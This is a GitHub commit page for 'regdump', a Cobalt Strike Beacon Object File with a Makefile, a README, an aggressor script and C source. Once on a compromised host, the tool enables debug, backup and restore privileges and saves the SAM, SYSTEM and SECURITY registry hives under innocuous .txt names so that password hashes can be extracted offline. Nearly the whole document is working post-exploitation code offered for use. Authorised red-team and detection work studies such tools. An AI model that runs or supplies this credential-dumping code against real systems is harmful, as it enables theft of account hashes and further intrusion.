Skip to content

Commit

Permalink
Initial Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
leftp committed Oct 7, 2020
0 parents commit 9a63c59
Show file tree
Hide file tree
Showing 7 changed files with 290 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
*.DS_Store
34 changes: 34 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#
# Beacon Object File ( BOF ) Compiler
#
# Used to create object files that are
# compatible with Beacon's inline-execute
# command.
#

CC_x64 := x86_64-w64-mingw32-gcc
LD_x64 := x86_64-w64-mingw32-ld
STRx64 := x86_64-w64-mingw32-strip
CC_x86 := i686-w64-mingw32-gcc
LD_x86 := i686-w64-mingw32-ld
STRx86 := i686-w64-mingw32-strip

SOURCE := $(wildcard source/*.c)
OBJECT := $(SOURCE:%.c=%.o)
CFLAGS := -Os -s -Qn -nostdlib
LFLAGS := -Wl,-s,--exclude-all-symbols

all: $(OBJECT)
$(LD_x64) -x -r source/*_x64.o -o regdump.x64.o
$(LD_x86) -x -r source/*_x86.o -o regdump.x86.o

.c.o:
$(CC_x64) -o $(basename $@)_x64.o -c $< $(CFLAGS) $(LFLAGS)
$(STRx64) -N $(basename $(notdir $@)).c $(basename $@)_x64.o
$(CC_x86) -o $(basename $@)_x86.o -c $< $(CFLAGS) $(LFLAGS)
$(STRx86) -N $(basename $(notdir $@)).c $(basename $@)_x86.o

clean:
rm -rf source/*_x64.o
rm -rf source/*_x86.o
rm -rf regdump.x64.o regdump.x86.o
50 changes: 50 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
# About
Beacon Object File(BOF) for CobaltStrike that will acquire the necessary privileges and dump SAM - SYSTEM - SECURITY registry keys for offline parsing and hash extraction.

## Instructions

CNA will register the command `regdump`:

```
beacon> regdump c:\temp\
```

By default the output will be saved in the following files:

```
samantha.txt - SAM
systemic.txt - SYSTEM
security.txt - SECURITY
```

You can modify the file names by changing `entry.c`.

## Credits

Template & Makefile based on repo from [@realoriginal](https://github.com/realoriginal/beacon-object-file)


## Reading material for BOF

[CS Beacon Object Files](https://www.cobaltstrike.com/help-beacon-object-files)

[Aggressor-Script functions](https://www.cobaltstrike.com/aggressor-script/functions.html)

[Beacon Object Files - Luser Demo](https://www.youtube.com/watch?v=gfYswA_Ronw)

[A Developer's Introduction To Beacon Object Files](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/)

_Github repos_

```
https://github.com/rsmudge/ZeroLogon-BOF
https://github.com/rsmudge/CVE-2020-0796-BOF
https://github.com/trustedsec/CS-Situational-Awareness-BOF
https://github.com/tomcarver16/BOF-DLL-Inject
https://github.com/m57/cobaltstrike_bofs/
https://github.com/rvrsh3ll/BOF_Collection/
https://github.com/realoriginal/bof-NetworkServiceEscalate
```

## Author
[@leftp](https://github.com/leftp)
19 changes: 19 additions & 0 deletions regsave.cna
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
beacon_command_register("bof-regsave", "Dumps SAM / SECURITY / SYSTEM to a path of your choosing", "Example: regsave c:\\temp\\");

alias bof-regsave {
local('$args');
$barch = barch($1);
if(size(@_) < 2)
{
berror($1, beacon_command_detail("bof-regsave"));
return;
}

$location = $2;

$args = bof_pack($1, "z", $location);
$handle = openf(script_resource("regdump. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
beacon_inline_execute($1, $data, "go", $args);
}
61 changes: 61 additions & 0 deletions source/beacon.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/

/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
23 changes: 23 additions & 0 deletions source/common.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
#pragma once

//
// Common Header Includes
//
#include <ntstatus.h>
#include <windows.h>

//
// Internal "Beacon" API header
//
#include "beacon.h"

WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA (HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY);
WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyA (HKEY, LPCSTR, LPSECURITY_ATTRIBUTES);
WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE, DWORD, PHANDLE);
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (void);
WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR, LPCSTR, PLUID);
WINBASEAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (void);
WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
WINBASEAPI LPSTR WINAPI SHLWAPI$PathCombineA(LPSTR,LPCSTR,LPCSTR);
102 changes: 102 additions & 0 deletions source/entry.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
#include "common.h"


void EnableDebugPriv( LPCSTR priv )
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;


if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
BeaconPrintf(CALLBACK_ERROR, "[*] OpenProcessToken failed, Error = %d .\n" , KERNEL32$GetLastError() );
return;
}

if (ADVAPI32$LookupPrivilegeValueA( NULL, priv, &luid ) == 0 )
{
BeaconPrintf(CALLBACK_ERROR, "[*] LookupPrivilegeValue() failed, Error = %d .\n", KERNEL32$GetLastError() );
KERNEL32$CloseHandle( hToken );
return;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!ADVAPI32$AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(tp), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL ))
{
BeaconPrintf(CALLBACK_ERROR, "[*] AdjustTokenPrivileges() failed, Error = %u\n", KERNEL32$GetLastError() );
return;
}

KERNEL32$CloseHandle( hToken );
}

void ExportRegKey(LPCSTR subkey, LPCSTR outFile)
{
HKEY hSubKey;
LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL;
if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,subkey,REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS,&hSubKey)==ERROR_SUCCESS)
{
if (ADVAPI32$RegSaveKeyA(hSubKey, outFile, lpSecurityAttributes)==ERROR_SUCCESS)
{
BeaconPrintf(CALLBACK_OUTPUT,"[*] Exported HKLM\\%s at %s\n", subkey, outFile);
}
else
{
BeaconPrintf(CALLBACK_ERROR,"[*] RegSaveKey failed.");
}

ADVAPI32$RegCloseKey(hSubKey);
}
else
{
BeaconPrintf(CALLBACK_ERROR,"[*] Could not open key %s",subkey);
}
}

void go(char * args, int alen)
{
datap parser;

char buffer_1[MAX_PATH] = "";
char *lpStr1;
lpStr1 = buffer_1;

char buffer_sam[ ] = "samantha.txt";
char *lpStrsam;
lpStrsam = buffer_sam;

char buffer_sys[ ] = "systemic.txt";
char *lpStrsys;
lpStrsys = buffer_sys;

char buffer_sec[ ] = "security.txt";
char *lpStrsec;
lpStrsec = buffer_sec;

if (!BeaconIsAdmin()){
BeaconPrintf(CALLBACK_ERROR, "Admin privileges required to use this module!");
return;
}

BeaconDataParse(&parser, args, alen); // Parsing arguments from cna
char * dir;
dir = BeaconDataExtract(&parser, NULL);

//Enabling required privileges for reg operations
EnableDebugPriv(SE_DEBUG_NAME);
EnableDebugPriv(SE_RESTORE_NAME);
EnableDebugPriv(SE_BACKUP_NAME);

SHLWAPI$PathCombineA(lpStr1,dir,lpStrsys);
ExportRegKey("SYSTEM",lpStr1); //exporting SYSTEM

SHLWAPI$PathCombineA(lpStr1,dir,lpStrsam);
ExportRegKey("SAM",lpStr1); //exporting SAM

SHLWAPI$PathCombineA(lpStr1,dir,lpStrsec);
ExportRegKey("SECURITY",lpStr1); //exporting SECURITY
};

0 comments on commit 9a63c59

Please sign in to comment.